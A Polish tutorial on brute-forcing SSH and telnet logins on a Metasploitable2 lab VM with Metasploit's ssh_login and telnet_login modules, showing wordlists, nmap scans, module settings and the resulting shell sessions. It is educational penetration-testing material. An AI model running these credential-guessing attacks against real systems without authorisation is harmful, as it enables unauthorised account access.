Metasploit: Dostęp do urządzenia z wykorzystaniem słowników.
Spis treści
Prezentowany artykuł dotyczyć będzie sposobów na uzyskanie dostępu do urządzenia, wykorzystując Metasploit oraz słowniki. Wiele spraw teoretycznych zostało omówionych w poprzednim materiale , dlatego teraz skupimy się nad bardziej praktycznymi rozwiązaniami.
Pisząc ten artykuł, postawiłem sobie za cel pokazanie, w jaki sposób złamać login i hasło mając możliwość zdalnego połączenia się z urządzeniem. Wszelkie testy przeprowadzę na dystrybucji Metasploitable2.
OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
OpenSSH pozwala na zdalne połączenie z urządzeniem oraz zarządzanie nim przy pomocy usługi SSH. My do tego celu wybierzemy poznany w części pierwszej program Metasploit. Przyznam, że nie jest to taki typowy exploit, jaki omawiałem w poprzednim artykule. Dlatego zobaczymy, na czym polega różnica i w jaki inny sposób możemy go wykorzystać.
Słownik
Atak, który chcę zaprezentować wykorzystuje słownik. Wraz z instalacją metasploit otrzymujemy kilka słowników. Wymienione słowniki znajdują się w katalogu:
/usr/share/metasploit-framework/data/wordlists/
Przyznaje, że ataki słownikowe nigdy nie należały do moich ulubionych. Przeprowadzenie takiego ataku wymaga dużej ilości czasu. Po kilku godzinach łamania hasła i tak nie mamy pewności, czy ów słownik znajdzie nam poszukiwany login i hasło. Niezależnie od tego czy lubię czy nie lubię warto wiedzieć jak to się robi. Czasami zdarza się skorzystać z tej metody.
W sieci istnieje bardzo dużo gotowych słowników, z których możesz korzystać. W dystrybucji Kali Linux, znajduje się wiele więcej takich gotowców. Natomiast jeśli czytałeś rozdział mojej książki „Etyczny hacking i testy penetracyjne. Zadbaj o bezpieczeństwo sieci LAN i WLAN” o sieciach WPA2, to wiesz, że jesteś w stanie wygenerować i użyć własny słownik.
W rzeczywistości łamanie haseł polega na tak zwanym chybił trafił. Jeśli trafisz na taki z użytym hasłem i/lub loginem lub taki stworzyć, to uda Ci się przejść dalej. Jeżeli nie to zmarnujesz czas. Ja nie będę marnował Twojego, dlatego na końcu wybranego przeze mnie słownika dodałem login i hasło. Ty zrób tak samo, edytując plik:
nano -w /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
Pamiętaj o tym, że plik musi być edytowany jako użytkownik z odpowiednimi uprawnieniami. Dlatego na początku polecenia znajduje się sudo. Na samym końcu pliku wpisz msfadmin msfadmin.
Jeżeli dokładniej przyjrzysz się zawartości słownika, zauważysz, że korzysta on z różnych haseł, ale jako nazwa konta zawsze jest root. Ma to większy sens, bo konto użytkownika z wszystkimi uprawnieniami w Linuksie to właśnie root.
Bez podania hasła na samym końcu słownika taka próba mogłaby zająć nawet kilka dni. Dlatego, że dopiero się uczysz, zrób tak, jak Ci radzę i na końcu dodaj login i hasło, które znasz. Po edycji zapisujemy zmiany, wykorzystując kombinację klawiszy CTRL+O i wciskamy ENTER.
Odpowiedni typ
Słownik już przygotowaliśmy, dlatego teraz nadeszła pora na uruchomienie Metasploit. W ramach przypomnienia robimy to w następujący sposób:
sudo msfconsole
lub
msfconsole
jeśli korzystasz z konta root.
Następnie, należy wybrać odpowiednie narzędzie, które posłuży do celu jaki sobie wyznaczyliśmy. Tym razem nie korzystamy z exploita tylko chcemy podjąć się próby złamania hasła. Do tego celu korzystamy z opcji:
use auxiliary/scanner/ssh/ssh_login
W następnej kolejności należy sprawdzić, jakie mamy opcje do ustawienia:
show options
Pojawi się:
Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
CreateSession true no Create a new session for every successful login
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
it.html
RPORT 22 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE false yes Whether to print output for all attempts
View the full module info with the info, or info -d command.
Pierwsze ustawienie, jakim musimy się zająć, dotyczy adresu ip naszego celu. Robimy to w ten sam sposób, co we wcześniejszym artykule:
set RHOSTS 10.0.2.20
Przypomnę tylko, że pod wpisanym adresem ip znajduje się maszyna wirtualna Metasploitable2. Następnie należy ustawić ścieżkę, pod jaką znajduje się słownik. Robimy to w następujący sposób:
set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
Pozostaje jedynie sprawdzić, czy RPORT jest taki sam, jak wskazał nmap i w razie błędu zmienić go.
nmap -sS -sV 10.0.2.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-27 20:37 CEST
Nmap scan report for 10.0.2.20
Host is up (0.0096s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION
….
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
…
MAC Address: 08:00:27:C1:10:EE (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.67 seconds
Teraz zweryfikujmy, czy wszystkie wprowadzone ustawienia zostały zapisane:
show options
Jeżeli wszystko się zgadza, pozostaje tylko wpisać polecenie:
run
Teraz należy zaczekać na wynik. Po dłuższej chwili powinniśmy otrzymać:
[*] 10.0.2.20:22 - Starting bruteforce
[+] 10.0.2.20:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] SSH session 1 opened (10.0.2.10:44805 -> 10.0.2.20:22) at 2026-05-27 20:40:24 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Jeżeli zgodnie z moim zaleceniem dodałeś do słownika login i hasło, powinieneś otrzymać podobny wynik do powyższego przykładu. Otrzymaliśmy informację o powodzeniu oraz o tym, że sesja została otwarta i nosi nazwę session 1. Kolejnym krokiem jest połączenie się z wygenerowaną sesją. Robimy to za pomocą polecenia:
sessions -i 1
Po wciśnięciu ENTER otworzymy sesję, w której będziemy połączeni z naszym celem. Aby to sprawdzić wpisujemy:
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
W ten sposób upewniliśmy się, że nawiązaliśmy połączenie z odpowiednim urządzeniem. Do złamania hasła można posłużyć się różnymi programami jak na przykład Hydra. Natomiast wolałem skorzystać z wbudowanego sposobu tak abyś lepiej poznał Metasploit.
Linux telnetd
Prezentowany w tej części artykułu sposób jest prawie identyczny, jak poprzedni. Różnica polega na tym, że do złamania hasła użyjemy Metasploita, natomiast do połączenia z urządzeniem użyjemy oprogramowania telnet oraz tego, z którego korzystaliśmy przed chwilą.
Połączenie telnet
Nim przejdziemy do samego łamania hasła, chciałbym abyś spróbował połączyć się z urządzeniem. Do tego celu użyjemy polecenia:
telnet 10.0.2.20
Po wciśnięciu ENTER otrzymamy możliwość logowania do „dystrybucji” Metasploitable, tak jakbyśmy go właśnie uruchomili. Aby upewnić się, że tak jest, zaloguj się do urządzenia wpisując znany Ci login i hasło msfadmin. Po wprowadzeniu loginu i hasła zalogujesz się do konsoli. Aby mieć 100% pewność, wpisz poznane wcześniej polecenie:
uname -a
Powinieneś otrzymać jako odpowiedź:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Mało skomplikowane, ale aby móc dostać się do środka musisz znać login i hasło. Teraz zajmiemy się zdobywaniem loginu oraz hasła dlatego, wyloguj się z sesji wpisz za pomocą polecenia exit.
Zdobywanie loginu i hasła
Jak w poprzednim przykładzie, aby zdobyć login i hasło, możemy skorzystać z bardzo dużej ilości programów. Ja w tym wypadku wykorzystam wbudowane rozwiązanie w oprogramowanie Metasploit. Tak jak robiliśmy to ostatnio, musimy wybrać odpowiedni moduł. Tym razem wykorzystamy:
use auxiliary/scanner/telnet/telnet_login
Jest to bardzo zbliżone do rozwiązania z poprzedniego przykładu z tą różnicą, że korzystamy z rozwiązania telnet. Sama różnica występuje w słownikach. Wcześniej wykorzystywaliśmy jeden słownik, natomiast teraz wykorzystamy dwa. Jeden będzie zawierał loginy, drugi hasła. Sposób działania tego rozwiązania polega na tym, że pobierany jest login z pliku pierwszego, następnie do niego sprawdzane jest każde hasło z drugiego pliku. Jeżeli zadanie nie kończy się powodzeniem, program pobiera drugi login i ponownie sprawdza wszystkie hasła.
W związku z powyższym musimy stworzyć dwa pliki. Utwórzmy takie w naszym katalogu głównym home. Czyli otwórzmy lub podzielmy naszą konsolę i wpiszmy:
touch hasla.txt
touch loginy.txt
Stworzyliśmy dwa pliki, ale są one puste. Nim przejdziemy do wpisania zawartości, chciałbym abyś zapamiętał, że gdy tworzysz plik nigdy nie powinieneś używać polskich znaków w jego nazwie. Specjalnie w nazwie pierwszego pliku nie użyłem litery „ł”, tylko zapisałem hasla i Ty pamiętaj, aby zawsze tak robić. Czasami może się zdarzyć, że nie każdy program dobrze zinterpretuje nasze polskie znaki.
Teraz możemy już dodać do zawartości pliku hasła:
root
!root
Cisco
NeXT
QNX
admin
attack
ax400
bagabu
msfadmin
Natomiast w przypadku pliku loginy.txt wprowadź i zapisz:
root
boot
loot
hoot
msfadmin
Słowniki zostały specjalnie wymyślone z małą zawartością danych. Ich zadaniem jest zobrazowanie , jak wykonać taki atak. Na samym końcu wpisałem prawidłowy login i hasło. Gdy już stworzyliśmy słowniki, nadszedł czas, aby ustawić je w module. Nim jednak do tego przejdziemy, warto zapoznać się z dostępnymi opcjami:
show options
Module options (auxiliary/scanner/telnet/telnet_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
CreateSession true no Create a new session for every successful login
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, us
er, user&realm)
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
sics/using-metasploit.html
RPORT 23 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Jak w poprzednim przypadku pierwszą czynnością, jaką należy wykonać, jest ustawienie adresu IP naszego celu. Robimy to za pomocą:
set RHOSTS 10.0.2.20
Sprawdzamy również, czy został wybrany właściwy port i w razie czego, zmieniamy go.
nmap -sS -sV 10.0.2.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-27 22:03 CEST
Nmap scan report for 10.0.2.20
Host is up (0.0017s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION
…..
23/tcp open telnet Linux telnetd
….
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.37 seconds
Następnie należy ustawić stworzone przez nas słowniki. Zgodnie z opisem na wyświetlonej powyżej liście musimy zrobić to w następujący sposób:
set PASS_FILE /home/kgodzisz/hasla.txt
set USER_FILE /home/kgodzisz/loginy.txt
Jeżeli stworzyłeś pliki z hasłami w identyczny sposób jak ja, to ścieżka do nich powinna być taka sama. Jednak na pewno różni się nazwa konta. W przypadku gdy zrobiłeś inaczej, podaj ścieżkę do miejsca, w którym je zapisałeś. Teraz pozostaje wpisać polecenie i wcisnąć ENTER:
run
Po jakimś czasie powinniśmy otrzymać odpowiedź:
[+] 10.0.2.20:23 - 10.0.2.20:23 - Login Successful: msfadmin:msfadmin
[*] 10.0.2.20:23 - Attempting to start session 10.0.2.20:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (10.0.2.10:33121 -> 10.0.2.20:23) at 2026-05-27 22:13:23 +0200
[*] 10.0.2.20:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Czyli odnalazło login i hasło.
Chciałbym jeszcze dopowiedzieć, że jedną z przydatnych opcji jest USER_AS_PASS. Jeżeli ustawimy jej wartość na True wykorzysta ten sam słownik zarówno do loginów jak i haseł.
Teraz mamy dwa sposoby połączenia z urządzeniem. Pierwszy z nich poznaliśmy na początku tego materiału z wykorzystaniem zewnętrznego narzędzia telnet. Drugi też już znasz. Łączyliśmy się w ten sposób przy OpenSSH:
sessions -i 1
Dzięki temu rozwiązaniu automatycznie zalogujemy się do urządzenia.
Wyszukiwanie w Metasploit
Przyznam, że słownikowych ataków, jakie możemy przeprowadzić na Metasploitable, jest jeszcze kilka. Pierwotnie chciałem opisać je wszystkie, ale w trakcie doszedłem do wniosku, że odebrałbym Ci przyjemność zrobienia tego samemu. Po dwóch powyższych przykładach można zauważyć, że jest to bardzo zbliżony proces, polegający na czytaniu opisów po wpisaniu polecenia show options.
Rozmawialiśmy wcześniej o tym, że aby odnaleźć sposób na lukę w systemie/dystrybucji, pierwsze co należy zrobić, to skorzystać z wyszukiwarki. Uważam, że jest to bardzo przydatna umiejętność i musisz się nią bardzo często posługiwać.
W tej części artykułu zajmiemy się sposobami wyszukiwania bez wykorzystywania wyszukiwarek internetowych, tylko wyszukiwać będziemy w samym programie. Na pierwszy rzut oka może się to wydawać nie za bardzo czytelne, ale po czasie odkryjesz uroki tej metody.
Poznaliśmy sposoby złamania hasła do usługi Linux telnetd. Co możemy zrobić, gdy okazuje się, że odnaleziony przez nas sposób nie zadziała? Odpowiedź jest oczywista, poszukać innego rozwiązania, dlatego w programie należy wpisać:
search telnet
W ten oto sposób wyświetli się lista wszelkich możliwości, jakie mają związek z telnetem. Dość spora lista, ale po delikatnej analizie możemy wykluczyć te, dotyczące systemu Windows, a na samym początku rozpocząć od tych, które mają w swojej nazwie telnet. Jeżeli wiemy, jakiego typu jest to luka, możemy zmniejszyć ilość wyświetlonych możliwości.
Nie wiem, czy zwróciłeś uwagę, po uruchomieniu programu pojawia się informacja:
=[ metasploit v6.4.64-dev ]
+ -- --=[ 2519 exploits - 1296 auxiliary - 431 post ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]
We wcześniejszych dwóch przykładach korzystaliśmy z usług auxiliary, które obsługują ataki słownikowe. Natomiast istnieją jeszcze inne typy ataków. Przykładowo we wcześniejszym rozdziale przy vsftpd 2.3.4 korzystaliśmy z exploita. W związku z pogrupowaniem tych możliwości, jeżeli wiemy, jaki typ ataku chcemy, przeprowadzić możemy zawęzić poszukiwania, korzystając z polecenia:
search type:auxiliary telnet
W ten sposób zawężamy zakres poszukiwań na dzień dzisiejszy z 42 pozycji do 15. Jednak to jeszcze nie wszystko. Jeśli uważnie przyjrzałeś się wyświetlonym wynikom, na samym dole każdej z list znajdowała się informacja „Interact with a module by name or index. For example info 80, use 80 or use post/windows/gather/credentials/mremote”. Dzięki tej informacji dowiadujemy się, że wcale nie musimy korzystać z nazwy, możemy też zrobić to samo, wpisując liczbę znajdującą się przy danej pozycji.
Podsumowanie
Ataki, które zaprezentowałem, nie należą do moich ulubionych. We wszelkich próbach uzyskania dostępu mogą jednak mieć spore znaczenie gdy dostęp został zabezpieczony za pomocą słabego hasła. Dzięki temu jesteśmy w stanie złamać hasło za pomocą słowników, nawet tych wbudowanych. Oczywiście istnieją bardziej zaawansowane sposoby tworzenia takich słowników, które mogłeś poznać w rozdziale poświęconym narzędziu crunch mojej książki Etyczny hacking i testy penetracyjne. Zadbaj o bezpieczeństwo sieci LAN i WLAN. Dlatego masz naprawdę bardzo szerokie zaplecze możliwości.

